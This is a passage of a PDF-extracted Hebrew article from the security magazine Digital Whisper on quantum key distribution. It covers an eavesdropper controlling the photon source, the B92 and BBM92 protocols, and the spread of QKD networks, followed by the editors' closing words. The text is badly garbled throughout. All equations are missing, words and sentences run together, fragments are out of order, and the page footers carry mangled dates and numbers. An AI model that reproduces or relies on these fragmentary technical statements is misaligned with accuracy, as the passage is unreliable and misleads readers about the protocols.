מה יקרה במידה ומישהו מצוטט לתקשורת?‏ המתאם החדש,‏ כולל המצותת באמצע,‏ יקרא כך:‏כאשרהיא פונקציית הסתברות מנורמלת,‏ מה שאומר:‏,בסתירה לציפיהוכך ברור לנו שמישהו צוטט לתקשורת.‏מה עם איב ‏)המאזין מצד שלישי(‏ מסוגל לשלוט במקור?‏בואו נבחן את האפשרות כי איב מסוגלת לשלוט ברכיב האחראי על פליטת הפוטונים.‏ נשאל האם היאתוכל לייצר מצב שזור של3מידע על המפתח.‏ נוכיח כאן כי מצב זה בלתי אפשרי.‏המצב הכללי ביותר שאיב יכולה להכין הוא:‏חלקיקים,‏ שיהיו מתואמים עם המצבים של אליס ובוב,‏ כך שאיב תוכל לקבלכאשר, ,ו-‏ הם קבוצה שלמה של מצבים אורתו-נורמלים המתארים את מצבי הספין שלזוגות החלקיקים הנשלחים לאליס ולבוב,‏ ו-‏, ,ו-‏ הם המצבים שאיב בחרה ‏)והיא אפילו לאצריכה לבחור כיצד למדוד אותם עד שאליס ובוב יפרסמו את הבחירות שלהם כחלק מהתהליך(.‏,המצבחייב להיות מצב עצמי שלעם ערכים עצמיים שללכן:‏באותה מידה יכול כל זוג אחר להימדד לאורך צירXעל ידי שני המשקיפים,‏ ולכן,‏חייב להיות חלק מ-‏:עם ערכים עצמיים של, מה שמגביל עוד יותר אתכלומר,‏ המקור היחיד בשליטתה של איב שלא יפריע למדידות של אליס ובוב,‏החלקיקים השזורים,‏ כך שמדידות המבוצעות על ידי איב לא יגלו לה מידע חיוני.‏הוא ללא קורלציה עם58גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


הפרוטוקול B92BB84הפרוטוקול B92הינו נסיון לפשט את הפרוטוקולבעזרת שימוש בשני מצבים בלבד.‏כי לא אם10.1אורתוגונלים בצד של אליס על מנת לייצג 0אובמקרה זה נייצג כאן אתכ-‏ ואת כ-‏כאשר ..אליס משדרת לבוב או את מצבאו את מצב)בוב בוחר אחד משני הבסיסיםאו‏)כאשרומבצע מדידה עלהמידע שהתקבל מאליס.‏בוב משמיט את המקרים בהם הוא מדדו-‏ולאחר מכן מסמן ב-‏‎1‎את המדידות שלוב-‏‎0‎ את המדידות של .)הסיבה מאחורי הצעד האחרון היא מפני שאם אליס משדרת אין שום סיכוי שבוב מדד בעזרתמפני שהמצב אורתוגונלי.‏ האפשרויות של בוב הן רק או למדוד את המצב בעזרת הבסיס הנכון( אולמדוד אותו בעזרת הבסיס הלא נכון ואז להשיג אולהסיק בוודאות כי אליס שידרה.,"0"וכך למעשה,‏ אם בוב אכן מדד הוא יכולוזאת מפני שנקבע כי אליס יכולה לשדר אך ורקבדומה,‏ אם בוב קיבל הוא יכול להסיק כי אליס שידרה.)1( או )0(.0אם בוב מדד או לעומת זאת,‏הבדיקה אינה חד-משמעית מפני שכנראה בוב השתמש בבסיס הלא נכון בעת הבדיקה על המצבהספציפי.‏הסיטואציה הנ"ל נקראת ‏"מחיקה קוואנטית"‏ והיא מתקיימת בסבירות של חצי.‏ את המקרים בהם בוצעהמדידה בעזרת בסיס שאינו נכון מסירים מהמחרוזת שהתקבלה,‏ ובעזרת מה שמתקבל בסופו של דבר‏)חיבור התווים מהמקרים בהם בוב מדד בעזרת בסיס נכון(‏ מרכיבים את מפתח ההצפנה.‏ל-‏B92‎ יש ייתרון ברור-אליס לא צריכה לשדר לבוב את הבסיסים בהם היא משתמשת בכדי לבצע אתהמדידה.‏ עם זאת,‏ חשוב לציין כי הגלאי חייב להיות מדוייק במיוחד בכדי לא לגרום לאי-מחיקה בשלמדידת קיטוב שגויה.‏ לדוגמא,‏ נניח כי אליס משדרת.,אך בשל טעות מדידה הנובעת מסטיית הגלאי ב-‏,אם בוב החליט לבצע את המדידה בבסיסהוא ביצע אותה בבסיס,,ייתכן סיכוי קטן שהמדידה תניבמה שיגרום לו להסיק שאליס שידרה."0"ההסתברות למקרה כזה מתקבלת מ:‏לזיהוי ותיקון השגיאות.‏שימוש בעקרונות האי-וודאותגליוןולכן,‏ חשוב מאוד להבטיח דיוק זוויתי,‏ אחרת אנחנו ‏)ובפועל,‏ זה מה שעושים תמיד(‏ נאלץ להפעיל מערך52למניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


BMM92הפרוטוקול,BMM92הינו מימוש משופר של הרעיון העומד מאחורי הפרוטוקול,E91והוא הולך כך:‏-מקור שלישי‏)הממוקם,‏או צל אליס,‏או אצל בוב(‏פולט זוג של חלקיקים שזורים במצב סינגלט,חלקיק אחד לאליס וחלקיק אחד לבוב.‏גם אליס וגם בוב בוחרים באופן אקראי בסיס מדידה לכל חלקיק,‏ אוה-‏X ועל ציר ה-‏Y‏(‏ ומבצעים בעזרתו מדידה.‏או 0‏)מוגדרים אצלנו על ציראליס ובוב מודיעים אחד לשני ‏)באופן פומבי(‏ באיזה בסיסים הם השתמשו למדידת כל חלקיק ‏)אבללא מודיעים מה התוצאות שיצאו להם בכל מדידה(.‏גם אליס וגם בוב משמיטים את התוצאות שיצאו כאשר מדדו בצירים שונים.‏התוצאות שנמצאות אצלהם לאחד ההשמטה מחוייבים להיות בהתאמה מלאה לחלוטין ‏)בהנחה שלאבוצע ציטוט לתווך התקשורת(.‏בכדי לאמת כי אכן לא בוצעה האזנה לתקשורת בעתהתהליך,‏אליס ובוב מפרסמים באופן פומביחלק גדול מספיק מתוצאות המדידה.‏במידה ואכן התוצאות מתואמות,‏ משמע,‏ לא בוצעה פעולת ציטוט לתווך התקשורת,‏משתמשים בשארית המחרוזת ‏)שלא פורסמה(‏ בתור מפתח ההצפנה.‏אליס ובובבכדי לאמת את אבטחת ערוץ התקשורת,‏אליס ובוב יכולים,‏בדיוק כמו בפרוטוקולE91 לבדוק אתהתוצאה של:Sבכדי שהערוץ יהיה מאובטח,‏ הם חייבים לקבל:‏20גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


מסקנות לעתידאין ספק כי ביטחון הופך להיות חלק חשוב יותר ויותר בחברה שלנו.‏ עד כה רק אלגוריתמים מבוססימספרים ראשוניים שולטים שולטים בשדה זה ומסתמכים על קושי החישוביות כפתרון אבטחה לבעייתחלוקת מפתחות ההצפנה,‏ פתרון שכזה יכול להיות מובס על ידי התפתחויות עתידיות במגזר הטכנולוגי אוהמתמטי.‏ עם זאת,‏ מערכות הצפנה המבוססות על עקרונות קוונטים,‏ מתבססות באופן טבעי על עקרון איהודאות ועל שזירות המאפיינים מצבים קוונטים.‏ מאחר ומדידה בעולם הקוונטי משפיעה באופן ישיר עלהמצב הנמדד,‏ ניתן לגלות האזנה באופן יחסית קל ומהיר.‏ יתרה מזאת,‏ על ידי בדיקת מתאמי הקורלציהנוכל לדעת שהאזינו – אפילו אם ההאזנה נכשלה.‏נראה כיעלשנתQKDמקבל עניין רב בשנים האחרונות,‏ בשנת2005,QKDרשת זאת נבנתה לאחר שיתוף פעולה בין אוניברסיטת הרווארד,‏הוצגה לראשונה רשת מחשבים המבוססתו-‏technology .BBN2007דגם דומה שימש בז'נבה לאבטחת תהליך בחירות אלקטרוני.‏ בשנת2009הקימו מספר רשתות עירוניות המבוססות על תקשורת קוונטית.‏ בנוסף לכך בשנתבמהלךגם סינגפור וגם סין2009טוקיו חנכה גםהיא רשת מבוססת ,QKD ובמסגרתה הוצגו שיחות ועידה מאובטחות ופלאפונים חכמים המבוססים גם הםעל אבטחת רשת זו.‏22גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


דברי סיוםבזאת אנחנו סוגרים את הגליון ה-‏‎32‎ של.<strong>Digital</strong> <strong>Whisper</strong>אנו מאוד מקווים כי נהנתם מהגליון והכיחשוב-‏ למדתם ממנו.‏ כמו בגליונות הקודמים,‏ גם הפעם הושקעו הרבה מחשבה,‏ יצירתיות,‏ עבודה קשהושעות שינה אבודות כדי להביא לכם את הגליון.‏אנחנו מחפשים כתבים,‏ מאיירים,‏ עורכים ‏)או בעצם-שיש לו קצת זמן פנוי ‏]אנו מוכנים להתפשר גם על חום גוףלגליונות הבאים.‏ אם אתם רוצים לעזור לנו ולהשתתף במגזיןכל יצור חי עם טמפרטורת גוף בסביבת ה-‏‎37‎)]36.5ואנשים המעוניינים לעזור ולתרום- <strong>Digital</strong> <strong>Whisper</strong>צרו קשר!‏ניתן לשלוח כתבות וכל פניה אחרת דרך עמוד ‏"צור קשר"‏ באתר שלנו,‏ או לשלוח אותן לדואר האלקטרונישלנו,‏ בכתובת.editor@digitalwhisper.co.ilעל מנת לקרוא גליונות נוספים,‏ ליצור עימנו קשר ולהצטרף לקהילה שלנו,‏ אנא בקרו באתר המגזין:‏www.<strong>Digital</strong><strong>Whisper</strong>.co.il"Talkin' bout a revolution sounds like a whisper"הגליון הבא ייצא ביום האחרון של חודש יוני.‏אפיק קסטיאל,‏ניר אדר,‏31.05.201221גליוןדברי סיוםwww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!